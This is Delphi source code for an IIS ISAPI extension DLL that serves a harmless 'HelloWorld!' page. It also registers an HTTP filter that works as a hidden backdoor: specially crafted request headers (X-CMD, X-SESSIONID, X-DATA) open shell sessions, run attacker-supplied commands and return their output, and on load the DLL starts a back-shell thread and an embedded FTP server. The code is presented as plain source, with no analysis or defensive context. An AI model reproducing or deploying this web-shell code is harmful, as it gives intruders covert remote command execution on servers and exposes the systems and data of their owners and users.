library isapiext;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  Isapi2,
  Classes,
  Windows,
  uBackShell in 'uBackShell.pas',
  uFtpServer in 'uFtpServer.pas',
  uGlobal in 'uGlobal.pas';

{$R *.res}

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL; stdcall;
begin
  try
    Ver.dwExtensionVersion := MakeLong(HSE_VERSION_MINOR, HSE_VERSION_MAJOR);
    StrLCopy(Ver.lpszExtensionDesc, PChar(''), HSE_MAX_EXT_DLL_NAME_LEN);
    Integer(Result) := 1;
  except
    result := False;
  end;
end;

function HttpExtensionProc(var ECB: TEXTENSION_CONTROL_BLOCK): DWORD; stdcall;
var
  strHtml: string;
  dwSize: DWORD;
begin
  strHtml := '<html><body>HelloWorld!</body></html>';
  dwSize := Length(strHtml);
  ECB.WriteClient(ECB.ConnID, PChar(strHtml), dwSize, 0);
  result := HSE_STATUS_SUCCESS;
end;

function TerminateExtension(dwFlags: DWORD): BOOL; stdcall;
begin
  result := True;
end;

//isapi filer
function HttpFilterProc(var pfc: THTTP_FILTER_CONTEXT;
                         NotificationType : DWORD;
                         pvNotification : Pointer) : DWORD; export; stdcall;
var
  Bytes, t: DWORD;
  xCmd, xSessionID, xData, xExtData, xResult: string;
  strShellOut: string;
  pHeaders: PHTTP_FILTER_PREPROC_HEADERS;
  function GetHeadVar(const varName: string; var headVar: string): Boolean;
  var
    iSize: DWORD;
  begin
    iSize := Length(headVar);
    if pHeaders.GetHeader(pfc, PChar(varName), PChar(headVar)^, iSize) then
    begin
      if iSize>0 then
        SetLength(headVar, iSize-1);
      Result := True;    
    end else
    begin
      Result := False;
    end;
  end;
  function BuildServerVars(varNames: string): string;
  var
    i: Integer;
    iSize: DWORD;
    buf: PChar;
    sl: TStringList;
  begin
    Result := '';
    try
      GetMem(buf, 1024);
      sl := TStringList.Create;
      try
        sl.Text := StringReplace(varNames, ',', #13#10, [rfReplaceAll]);
        for i := 0 to sl.Count - 1 do
        begin
          iSize := 1023;
          FillChar(buf^, 1024, 0);
          if pfc.GetServerVariable(pfc, PChar(sl[i]), buf, iSize) then
          begin
            Result := Result + sl[i] + '=' + buf + #13#10;
          end;
        end;
      finally
        FreeMem(buf);
        sl.Free;
      end;
    except
    end;
  end;
begin
  try
  case NotificationType of
  SF_NOTIFY_PREPROC_HEADERS:
    begin
      pHeaders := PHTTP_FILTER_PREPROC_HEADERS(pvNotification);
      SetLength(xCmd, 100);
      SetLength(xSessionID, 100);
      SetLength(xData, 255);
      if GetHeadVar('X-CMD:', xCmd) and GetHeadVar('X-SESSIONID:', xSessionID) and
         GetHeadVar('X-DATA:', xData) then
      begin
        t := 0;
        pfc.ServerSupportFunction(pfc, SF_REQ_SEND_RESPONSE_HEADER, PChar('200 ok'), t, 0);
        //OutputDebugString(PChar(Format('X-CMD:%s X-SESSIONID:%s X-DATA:%s', [xCmd, xSessionID, xData])));
        if SameText(xCmd, 'CreateSession') then
        begin
          xSessionID := G_BackShellThread.CreateSession(Base64ToStr(xData));
          SetLength(xExtData, 1024);
          if GetHeadVar('X-EXTDATA:', xExtData) then
            xResult := StrToBase64(Utf8Encode(xSessionID + '|' + BuildServerVars(xExtData)))
          else
            xResult := StrToBase64(Utf8Encode(xSessionID + '|'));
          Bytes := Length(xResult);
          pfc.WriteClient(pfc, PChar(xResult), Bytes, 0);
          Result := SF_STATUS_REQ_FINISHED;
          Exit;
        end else if SameText(xCmd, 'ExeShell') then
        begin
          G_BackShellThread.AddCmdLine(StrToInt64Def(xSessionID, 0), xData);
        end else if SameText(xCmd, 'GetShellOut') then
        begin
          //
        end;
        strShellOut := G_BackShellThread.GetShellOut(StrToInt64Def(xSessionID, 0));
        if strShellOut<>'' then
        begin
          Bytes := Length(strShellOut);
          pfc.WriteClient(pfc, PChar(strShellOut), Bytes, 0);        
        end;
        Result := SF_STATUS_REQ_FINISHED;
        Exit;         
      end;
    end;
  end;
  result := SF_STATUS_REQ_NEXT_NOTIFICATION;
  except
    on E: Exception do
    begin
      OutputDebugString(PChar('HttpFilterProc ' + E.Message));
    end;
  end;
end;

function GetFilterVersion(var pVer : HTTP_FILTER_VERSION) : BOOL; export; stdcall;
begin
  try
   pVer.dwFilterVersion := MAKELONG(0, 1);
   pVer.dwFlags := SF_NOTIFY_PREPROC_HEADERS;
   result := True;
  except
   result := False;
  end;
  OutputDebugString('GetFilterVersion');
end;

exports
  GetExtensionVersion,
  HttpExtensionProc,
  TerminateExtension,
  HttpFilterProc,
  GetFilterVersion;
  
begin
  G_FtpServer := TFtpServerThread.Create;
  G_BackShellThread := TBackShellThread.Create;
end.
